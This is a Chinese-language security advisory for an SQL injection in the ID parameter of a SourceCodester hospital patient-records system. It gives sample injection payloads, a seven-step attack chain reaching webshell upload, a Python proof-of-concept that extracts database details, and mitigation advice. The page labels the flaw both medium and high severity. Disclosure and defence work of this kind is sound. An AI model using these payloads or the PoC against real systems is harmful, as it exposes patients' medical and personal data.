IPBUF安全漏洞报告
English
CVE-2026-9342 CVSS 6.3 中危

CVE-2026-9342 SourceCodester医院病历管理系统ID参数SQL注入漏洞

披露日期: 2026-05-23

漏洞信息

漏洞编号
CVE-2026-9342
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Hospitals Patient Records Management System 1.0

相关标签

SQL注入CVE-2026-9342SourceCodester医院管理系统Web安全数据库注入医疗数据泄露认证绕过布尔盲注信息泄露

漏洞概述

CVE-2026-9342是SourceCodester Hospitals Patient Records Management System 1.0版本中的一个高危SQL注入漏洞。该系统是一款用于医院病患记录管理的Web应用程序,广泛应用于中小型医疗机构进行患者信息管理、病历记录查询等日常业务操作。漏洞存在于管理后台的病历查看功能模块中,具体位于/admin/patients/view_history.php文件。该文件在处理用户输入的ID参数时,未对用户提交的参数进行充分的输入验证和SQL语句预编译处理,导致攻击者可以通过构造恶意SQL语句片段,实现对数据库的未授权访问和操作。攻击者利用该漏洞可获取数据库中的敏感患者信息,包括个人身份信息、病历记录、诊断数据等机密内容。在特定条件下,攻击者还可能通过SQL注入获取系统操作权限,进一步控制整个Web服务器。由于该漏洞的利用复杂度较低且已有公开的漏洞利用代码(PoC),对互联网暴露的管理后台系统构成了严重的安全威胁。建议受影响用户立即采取修复措施,避免敏感医疗数据泄露。

技术细节

该SQL注入漏洞源于/admin/patients/view_history.php文件对用户输入参数ID的信任。在标准的Web应用安全实践中,所有用户可控的输入都应该被视为不可信数据,需要进行严格的输入验证和参数化查询处理。然而,该系统在处理ID参数时,直接将用户输入拼接到SQL查询语句中,未采用预处理语句(Prepared Statements)或参数化查询机制。攻击者可以通过在ID参数中注入SQL语句片段,如使用UNION SELECT、布尔盲注、时间盲注或报错注入等技术,绕过应用程序的正常逻辑,执行任意SQL命令。具体而言,攻击者可通过构造如ID=1' OR '1'='1的Payload实现认证绕过,或使用ID=1' AND SLEEP(5)--等Payload进行基于时间的盲注攻击,以逐步提取数据库中的敏感信息。该漏洞属于典型的OWASP Top 10中的A1:2017-注入类漏洞。成功利用此漏洞后,攻击者可以读取数据库中的患者个人信息、医疗记录、诊断报告等敏感数据,在某些配置下还可能通过LOAD_FILE()、INTO OUTFILE等函数读取服务器敏感文件或写入webshell,实现远程代码执行。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先识别目标网站使用的技术栈和版本信息,确认目标为SourceCodester Hospitals Patient Records Management System 1.0,并定位管理后台登录入口
STEP 2
步骤2: 漏洞探测
访问/admin/patients/view_history.php页面,使用自动化工具或手工测试ID参数是否存在SQL注入漏洞,通过输入单引号'观察是否产生数据库错误信息
STEP 3
步骤3: 注入类型判断
通过构造不同的Payload(如1=1、1=2)判断注入类型,确定为基于布尔值的盲注或报错型注入,为后续利用做准备
STEP 4
步骤4: 数据库指纹识别
利用UNION SELECT或条件判断语句获取数据库版本、当前用户、数据库名称等信息,确定数据库类型(MySQL/MariaDB)
STEP 5
步骤5: 数据提取
通过information_schema表或基于时间盲注技术,逐步提取数据库中的敏感表结构,获取用户表、病历表等关键数据
STEP 6
步骤6: 敏感数据窃取
最终提取患者个人信息(姓名、身份证号、联系方式)、医疗记录、诊断报告等机密数据,可能导致严重的隐私泄露
STEP 7
步骤7: 权限提升(可选)
在某些配置下,可通过SQL注入写入webshell或利用MySQL的文件读写功能获取服务器操作系统级别的访问权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-9342 SQL Injection PoC # Target: SourceCodester Hospitals Patient Records Management System 1.0 # Endpoint: /admin/patients/view_history.php def exploit_sqli(target_url, payload): """ SQL Injection exploitation function Tests for boolean-based blind SQL injection """ params = { 'id': payload } try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def test_injection(target_url): """ Test if the target is vulnerable to SQL injection """ # Original request (normal response) normal_payload = "1" normal_response = exploit_sqli(target_url, normal_payload) # True condition payload (should return normal data) true_payload = "1' AND 1=1 --" true_response = exploit_sqli(target_url, true_payload) # False condition payload (should return different response) false_payload = "1' AND 1=2 --" false_response = exploit_sqli(target_url, false_payload) # Check if vulnerability exists if normal_response != false_response and true_response == normal_response: print("[+] Target is VULNERABLE to SQL Injection!") return True else: print("[-] Target may not be vulnerable") return False def extract_database_info(target_url): """ Extract database information using UNION-based injection """ # Database version extraction payload version_payload = "1' UNION SELECT NULL,version(),user(),database() --" print(f"[*] Extracting database info with payload: {version_payload}") response = exploit_sqli(target_url, version_payload) if response: print("[+] Database information extracted") print(response[:500]) # Extract tables payload tables_payload = "1' UNION SELECT NULL,table_name,NULL,NULL FROM information_schema.tables WHERE table_schema=database() --" print(f"\n[*] Extracting tables with payload: {tables_payload}") response = exploit_sqli(target_url, tables_payload) if response: print("[+] Database tables extracted") print(response[:500]) if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2026_9342_poc.py <target_url>") print("Example: python cve_2026_9342_poc.py http://target.com/admin/patients/view_history.php") sys.exit(1) target = sys.argv[1] print(f"[*] Testing CVE-2026-9342 on {target}") if test_injection(target): print("\n[*] Extracting sensitive data...") extract_database_info(target)

影响范围

SourceCodester Hospitals Patient Records Management System 1.0

防御指南

临时缓解措施
立即限制对/admin/patients/view_history.php等管理后台页面的访问,仅允许受信任的内部IP地址访问。在Web应用防火墙中配置SQL注入检测规则,对包含单引号、分号、UNION等SQL关键字的请求进行拦截和告警。临时禁用病历查看功能模块,待官方发布安全更新后再恢复使用。同时建议检查数据库访问日志,排查是否存在异常的数据查询行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表